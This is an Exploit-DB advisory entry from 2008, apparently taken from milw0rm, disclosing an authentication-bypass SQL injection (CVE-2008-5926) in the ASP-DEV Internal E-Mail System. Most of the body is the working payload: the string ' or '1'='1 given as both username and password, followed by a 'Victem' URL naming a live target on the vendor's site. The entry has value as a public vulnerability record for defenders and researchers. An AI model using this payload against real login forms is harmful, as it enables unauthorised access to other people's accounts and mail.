ASP-DEV Internal E-Mail System Auth Bypass SQL Injection Vuln

2008-12-14T00:00:00
ID EDB-ID:7447
Type exploitdb
Reporter Pouya_Server
Modified 2008-12-14T00:00:00

Description

ASP-DEV Internal E-Mail System (Auth Bypass) SQL Injection Vuln. CVE-2008-5926. Webapps exploit for asp platform

                                        
                                            #########################################################
---------------------------------------------------------
Portal Name: Internal E-Mail System
Vendor : http://asp-dev.com/main.asp?page=41
Download : http://asp-dev.com/download.asp?did=4
Author : Pouya_Server , Pouya.s3rver@Gmail.com
Vulnerability : (Auth Bypass) SQL Injection Vulnerability
---------------------------------------------------------
#########################################################
[Auth Bypass]:
user: ' or '1'='1
pass: ' or '1'='1
 
---------------------------------
Victem :
http://asp-dev.com/message

# milw0rm.com [2008-12-14]